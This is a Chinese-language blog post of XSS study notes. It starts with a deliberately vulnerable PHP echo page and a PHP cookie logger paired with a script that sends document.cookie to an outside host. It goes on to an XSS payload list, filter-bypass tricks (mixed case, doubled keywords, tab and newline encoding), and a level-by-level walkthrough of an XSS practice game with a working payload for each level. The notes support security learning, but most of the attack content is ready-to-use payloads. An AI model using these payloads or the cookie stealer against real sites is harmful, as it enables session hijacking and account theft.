XSS----payload,绕过,xss小游戏记录

一.XSS

**1.原理:**攻击者把恶意的脚本代码注入到网页中,等待其余用户浏览 这些网页(或触发其余条件),从而执行其中的恶意代码。 1.xss实例代码: test.htmljavascript

<!DOCTYPE html>
<head>
<title>xss_test</title>
</head>
<body>
	<form action="xss.php" method="post">
		请输入你的名字<br>
		<input type="text" name="name">
		<input type="submit" value="提交">
	</form>
</body>
</html>

xss.phpphp

<!DOCTYPE html>

<head>
<meta charset="utf-8">
<title>测试结果</title>
</head>
<body>
	<?php
	echo $_POST['name'];
	?>	
</body>
</html>

得到cookie 脚本 cookie.phphtml

<?php
$cookie = $_GET['cookie']."\n";
$cookie_f = fopen('cookie.txt','a');
fwrite($cookie_f,$cookie);
fclose($cookie_f);
?>

xss.jsjava

<script>window.open('http://www.test.com/cookie.php?cookie='+document.cookie)</script>

xss分为3类 反射型xss 存储型xss dom型xss浏览器

2.xss的payload

<!-- 基本类型-->
<script >alert('xss')</script>
<script >alert("xss")</script>
<script >alert(/xss/)</script>
<script >alert('xss');</script>
<!--      利用javascript伪协议     -->

<iframe src=javascript:alert('xss') ></iframe>
---------------------------------
<a href=javascript:alert('xss')>xxx</a>
两个a标签之间要加东西,否则看不到点击的地方
<!--     利用基本事件    -->
<img src="x" onerror= alert('xss')> //图片未找到
<img src="x" onload= alert('xss')>  //图片正常显示
<img src="x" onclick= alert('xss')>
事件 含义
onclick 鼠标单击
onchange 内容发生改变
onerror 图片等未找到时
onload 页面加载
onmouseover 鼠标悬停
onmouseout 鼠标移出
onmousemove 鼠标路过
onchange 用在 input 标签
<input type="text" onchange=alert('xss')>

3.xss 的一些绕过

--标签的属性支持javascript:[code]伪协议cookie

利用空字符
经常使用字符:【空格】【回车】【Tab】键位符
应用场景:对JavaScript关键字过了过滤

-- 扰乱过滤规则dom

1)大小写混合
<sCRipt>alert('xss')</script>
2)引号的使用
<script>alert('xss')</script>
<script>alert("xss")</script>
<script>alert(/xss/)</script>
3)<iframe/src=javascript:alert(1)>
4)双写
<scr<script>ipt>alert(1111)</scr</script>ipt>

小tipsxss

%0a用作换行使的input标签语法正确,主要是由于过滤了“>”
//  js的注释

二.实战xss挑战之旅

1.第一题(无过滤措施)

首先在地址后输入咱们最基本的payload,弹窗 还能够post

利用 iframe 标签的的 src 属性来弹窗
<iframe src=javascript:alert('xss')></iframe>

利用标签的 href 属性来弹窗
<a href=javascript:alert('xss')>ggtest</a>
这里就是超连接到了:javascript:alert('xss')
效果和浏览器直接打开这个地址:javascript:alert('xss')是同样的
这里还能够使用:javascript:alert(document.cookie) 来弹出当前会话的 cookie

img标签来弹窗
<img src=1 onerror=alert('xss')>

2.第二题

在次尝试输入基本的payload,看到没有测试

右键查看源代码,搜索咱们刚输入的东西,看过滤了什么 呗代码复制出来,构造payload,在input 标签里,首先想到onchange事件

<input name=keyword  value="<script >alert('xss')</script>">

" onchange =alert(111) <"

还能够

"><script>alert(222)</script> <"

3.第三关

同样操做,看源代码,构造payload 过滤了尖括号 " onchange=alert(1111) /<"

' onchange='alert(/111/)

这个刚学到的,可能对< " 过滤有帮助 ' onclick=alert(1)%0a
%0a用作换行使的input标签语法正确,主要是由于过滤了“>”。

4.第四关

<input name=keyword  value="111">
" onchange=alert(555)<"

5.第五关

过滤了script 还过滤了on事件 只能利用javascript伪协议

"><a href=javascript:alert(111)>

6.第六关

基本全过滤 尝试大小写绕过

"><img sRc=x onError="alert(/xss/)

这样还不行,看源码,on过滤,试了一下on大写,成功

"><img sRc=x OnError="alert(/xss/)

7.第七关

<input name=keyword  value="456">
尝试如下
<input name=keyword  value="" Onchange=alert(123) id="">

不行,过滤on想到用伪协议 想到伪协议的绕过tab 空格 仍是不行,尴尬,看上边过滤是直接把on消失,试试复写。

" Oonnchange=alert(123) id="

第八关

</center><center><BR><a href="1111">友情连接</a></center><center><img src=level8.jpg></center>

a标签,href直接使用伪协议

javascript:alert(1111)

尝试tab | 按键 | url编码|
| :-------- | --------:| | tab | %09 | |enter|%0A| |space|%20| --又有一方法 html10进制编码payload

第九关

尝试伪协议

并无弹,应该是/问题,这有一个思路是把http://放到alert里

javascri	pt:alert('http://')
//tab

编码

第十关

一脸懵逼,没有输入输出点啊 仍是没有输出点,经过观察发现有3个隐藏的输入input,构造下看看有没有输出

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=3

发现t_sort参数有东西,窃喜。。

<input name="t_sort"  value="3" type="hidden">
构造
http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmousemove=alert(111) id="

~绕过hidden属性的影响

http://test.com/xss1/level10.php?keyword=11111&t_link=1&t_history=2&t_sort=" onmosemove=alert(111) type="text"

相关文章
相关标签/搜索